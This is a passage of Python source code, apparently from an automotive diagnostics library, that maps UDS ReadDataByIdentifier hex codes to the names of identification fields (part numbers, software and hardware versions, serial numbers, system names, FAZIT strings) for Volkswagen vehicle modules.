\"Tire_pressure_monitor_antenna_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0657] = \"Heated_windshield_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0658] = \"Rear_light_left_1_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0659] = \"Ceiling_light_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065a] = \"Left_front_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065b] = \"Right_front_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065c] = \"Control_module_for_auxiliary_air_heater_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065d] = \"Ioniser_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065e] = \"Multi_function_steering_wheel_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x065f] = \"Left_rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0660] = \"Right_rear_door_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0661] = \"Left_rear_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0662] = \"Right_rear_massage_seat_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0663] = \"Display_unit_1_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0664] = \"Battery_monitoring_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0665] = \"Roof_blind_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0666] = \"Sun_roof_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0667] = \"Display_unit_2_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0668] = \"Telephone_handset_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0669] = \"Traffic_data_aerial_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066a] = \"Chip_card_reader_control_module_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066b] = \"Hands_free_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066c] = \"Telephone_handset_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066d] = \"Display_unit_front_for_multimedia_system_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066e] = \"Multimedia_operating_unit_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x066f] = \"Digital_sound_system_control_module_2_Spare_Part_Number\"\nUDS_RDBI.dataIdentifiers[0x0670] = \"Control_unit_for_wiper_motor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0671] = \"Rain_light_recognition_sensor_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0672] = \"Light_switch_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0673] = \"Garage_door_opener_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0674] = \"Garage_door_opener_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0675] = \"Ignition_key_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0676] = \"Left_front_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0677] = \"Right_front_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0678] = \"Left_rear_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0679] = \"Right_rear_seat_ventilation_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067a] = \"Data_medium_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067b] = \"Drivers_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067c] = \"Front_passengers_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067d] = \"Left_headlamp_power_output_stage_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067e] = \"Right_headlamp_power_output_stage_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x067f] = \"Sensor_for_anti_theft_alarm_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0680] = \"Rear_lid_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0681] = \"Alarm_horn_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0682] = \"Automatic_day_night_interior_mirror_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0683] = \"Sun_roof_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0684] = \"Steering_column_lock_actuator_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0685] = \"Anti_theft_tilt_system_control_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0686] = \"Tire_pressure_monitor_antenna_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0687] = \"Heated_windshield_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0688] = \"Rear_light_left_1_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0689] = \"Ceiling_light_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068a] = \"Left_front_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068b] = \"Right_front_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068c] = \"Control_module_for_auxiliary_air_heater_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068d] = \"Ioniser_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068e] = \"Multi_function_steering_wheel_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x068f] = \"Left_rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0690] = \"Right_rear_door_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0691] = \"Left_rear_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0692] = \"Right_rear_massage_seat_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0693] = \"Display_unit_1_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0694] = \"Battery_monitoring_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0695] = \"Roof_blind_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0696] = \"Sun_roof_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0697] = \"Display_unit_2_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0698] = \"Telephone_handset_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0699] = \"Traffic_data_aerial_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069a] = \"Chip_card_reader_control_module_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069b] = \"Hands_free_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069c] = \"Telephone_handset_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069d] = \"Display_unit_front_for_multimedia_system_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069e] = \"Multimedia_operating_unit_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x069f] = \"Digital_sound_system_control_module_2_Application_Software_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06a0] = \"Control_unit_for_wiper_motor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a1] = \"Rain_light_recognition_sensor_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a2] = \"Light_switch_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a3] = \"Garage_door_opener_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a4] = \"Garage_door_opener_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a5] = \"Ignition_key_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a6] = \"Left_front_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a7] = \"Right_front_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a8] = \"Left_rear_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06a9] = \"Right_rear_seat_ventilation_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06aa] = \"Data_medium_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ab] = \"Drivers_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ac] = \"Front_passengers_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ad] = \"Left_headlamp_power_output_stage_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ae] = \"Right_headlamp_power_output_stage_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06af] = \"Sensor_for_anti_theft_alarm_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b0] = \"Rear_lid_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b1] = \"Alarm_horn_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b2] = \"Automatic_day_night_interior_mirror_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b3] = \"Sun_roof_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b4] = \"Steering_column_lock_actuator_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b5] = \"Anti_theft_tilt_system_control_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b6] = \"Tire_pressure_monitor_antenna_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b7] = \"Heated_windshield_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b8] = \"Rear_light_left_1_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06b9] = \"Ceiling_light_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ba] = \"Left_front_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06bb] = \"Right_front_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06bc] = \"Control_module_for_auxiliary_air_heater_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06bd] = \"Ioniser_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06be] = \"Multi_function_steering_wheel_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06bf] = \"Left_rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c0] = \"Right_rear_door_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c1] = \"Left_rear_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c2] = \"Right_rear_massage_seat_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c3] = \"Display_unit_1_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c4] = \"Battery_monitoring_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c5] = \"Roof_blind_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c6] = \"Sun_roof_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c7] = \"Display_unit_2_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c8] = \"Telephone_handset_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06c9] = \"Traffic_data_aerial_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ca] = \"Chip_card_reader_control_module_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06cb] = \"Hands_free_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06cc] = \"Telephone_handset_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06cd] = \"Display_unit_front_for_multimedia_system_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06ce] = \"Multimedia_operating_unit_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06cf] = \"Digital_sound_system_control_module_2_Hardware_Number\"\nUDS_RDBI.dataIdentifiers[0x06d0] = \"Control_unit_for_wiper_motor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d1] = \"Rain_light_recognition_sensor_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d2] = \"Light_switch_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d3] = \"Garage_door_opener_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d4] = \"Garage_door_opener_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d5] = \"Ignition_key_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d6] = \"Left_front_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d7] = \"Right_front_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d8] = \"Left_rear_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06d9] = \"Right_rear_seat_ventilation_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06da] = \"Data_medium_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06db] = \"Drivers_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06dc] = \"Front_passengers_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06dd] = \"Left_headlamp_power_output_stage_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06de] = \"Right_headlamp_power_output_stage_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06df] = \"Sensor_for_anti_theft_alarm_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e0] = \"Rear_lid_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e1] = \"Alarm_horn_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e2] = \"Automatic_day_night_interior_mirror_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e3] = \"Sun_roof_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e4] = \"Steering_column_lock_actuator_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e5] = \"Anti_theft_tilt_system_control_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e6] = \"Tire_pressure_monitor_antenna_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e7] = \"Heated_windshield_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e8] = \"Rear_light_left_1_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06e9] = \"Ceiling_light_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ea] = \"Left_front_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06eb] = \"Right_front_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ec] = \"Control_module_for_auxiliary_air_heater_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ed] = \"Ioniser_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ee] = \"Multi_function_steering_wheel_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ef] = \"Left_rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f0] = \"Right_rear_door_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f1] = \"Left_rear_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f2] = \"Right_rear_massage_seat_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f3] = \"Display_unit_1_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f4] = \"Battery_monitoring_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f5] = \"Roof_blind_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f6] = \"Sun_roof_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f7] = \"Display_unit_2_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f8] = \"Telephone_handset_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06f9] = \"Traffic_data_aerial_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06fa] = \"Chip_card_reader_control_module_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06fb] = \"Hands_free_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06fc] = \"Telephone_handset_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06fd] = \"Display_unit_front_for_multimedia_system_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06fe] = \"Multimedia_operating_unit_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x06ff] = \"Digital_sound_system_control_module_2_Hardware_Version_Number\"\nUDS_RDBI.dataIdentifiers[0x0700] = \"Control_unit_for_wiper_motor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0701] = \"Rain_light_recognition_sensor_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0702] = \"Light_switch_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0703] = \"Garage_door_opener_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0704] = \"Garage_door_opener_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0705] = \"Ignition_key_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0706] = \"Left_front_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0707] = \"Right_front_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0708] = \"Left_rear_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0709] = \"Right_rear_seat_ventilation_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070a] = \"Data_medium_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070b] = \"Drivers_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070c] = \"Front_passengers_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070d] = \"Left_headlamp_power_output_stage_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070e] = \"Right_headlamp_power_output_stage_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x070f] = \"Sensor_for_anti_theft_alarm_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0710] = \"Rear_lid_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0711] = \"Alarm_horn_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0712] = \"Automatic_day_night_interior_mirror_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0713] = \"Sun_roof_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0714] = \"Steering_column_lock_actuator_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0715] = \"Anti_theft_tilt_system_control_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0716] = \"Tire_pressure_monitor_antenna_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0717] = \"Heated_windshield_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0718] = \"Rear_light_left_1_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0719] = \"Ceiling_light_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071a] = \"Left_front_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071b] = \"Right_front_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071c] = \"Control_module_for_auxiliary_air_heater_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071d] = \"Ioniser_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071e] = \"Multi_function_steering_wheel_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x071f] = \"Left_rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0720] = \"Right_rear_door_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0721] = \"Left_rear_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0722] = \"Right_rear_massage_seat_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0723] = \"Display_unit_1_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0724] = \"Battery_monitoring_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0725] = \"Roof_blind_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0726] = \"Sun_roof_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0727] = \"Display_unit_2_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0728] = \"Telephone_handset_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0729] = \"Traffic_data_aerial_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072a] = \"Chip_card_reader_control_module_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072b] = \"Hands_free_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072c] = \"Telephone_handset_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072d] = \"Display_unit_front_for_multimedia_system_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072e] = \"Multimedia_operating_unit_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x072f] = \"Digital_sound_system_control_module_2_Serial_Number\"\nUDS_RDBI.dataIdentifiers[0x0730] = \"Control_unit_for_wiper_motor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0731] = \"Rain_light_recognition_sensor_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0732] = \"Light_switch_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0733] = \"Garage_door_opener_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0734] = \"Garage_door_opener_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0735] = \"Ignition_key_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0736] = \"Left_front_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0737] = \"Right_front_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0738] = \"Left_rear_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0739] = \"Right_rear_seat_ventilation_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073a] = \"Data_medium_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073b] = \"Drivers_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073c] = \"Front_passengers_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073d] = \"Left_headlamp_power_output_stage_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073e] = \"Right_headlamp_power_output_stage_System_Name\"\nUDS_RDBI.dataIdentifiers[0x073f] = \"Sensor_for_anti_theft_alarm_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0740] = \"Rear_lid_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0741] = \"Alarm_horn_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0742] = \"Automatic_day_night_interior_mirror_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0743] = \"Sun_roof_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0744] = \"Steering_column_lock_actuator_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0745] = \"Anti_theft_tilt_system_control_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0746] = \"Tire_pressure_monitor_antenna_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0747] = \"Heated_windshield_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0748] = \"Rear_light_left_1_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0749] = \"Ceiling_light_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074a] = \"Left_front_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074b] = \"Right_front_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074c] = \"Control_module_for_auxiliary_air_heater_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074d] = \"Ioniser_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074e] = \"Multi_function_steering_wheel_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x074f] = \"Left_rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0750] = \"Right_rear_door_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0751] = \"Left_rear_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0752] = \"Right_rear_massage_seat_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0753] = \"Display_unit_1_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0754] = \"Battery_monitoring_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0755] = \"Roof_blind_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0756] = \"Sun_roof_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0757] = \"Display_unit_2_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0758] = \"Telephone_handset_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x0759] = \"Traffic_data_aerial_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075a] = \"Chip_card_reader_control_module_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075b] = \"Hands_free_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075c] = \"Telephone_handset_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075d] = \"Display_unit_front_for_multimedia_system_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075e] = \"Multimedia_operating_unit_System_Name\"\nUDS_RDBI.dataIdentifiers[0x075f] = \"Digital_sound_system_control_module_2_System_Name\"\nUDS_RDBI.dataIdentifiers[0x07a0] = \"Control_unit_for_wiper_motor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a1] = \"Rain_light_recognition_sensor_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a2] = \"Light_switch_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a3] = \"Garage_door_opener_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a4] = \"Garage_door_opener_operating_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a5] = \"Ignition_key_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a6] = \"Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a7] = \"Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a8] = \"Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07a9] = \"Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07aa] = \"Data_medium_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ab] = \"Drivers_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ac] = \"Front_passengers_door_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ad] = \"Left_headlamp_power_output_stage_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07ae] = \"Right_headlamp_power_output_stage_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07af] = \"Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b0] = \"Rear_lid_control_module_2_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b1] = \"Alarm_horn_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b2] = \"Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b3] = \"Sun_roof_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b4] = \"Steering_column_lock_actuator_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b5] = \"Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b6] = \"Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b7] = \"Heated_windshield_control_module_VW_Slave_FAZIT_string\"\nUDS_RDBI.dataIdentifiers[0x07b8] = 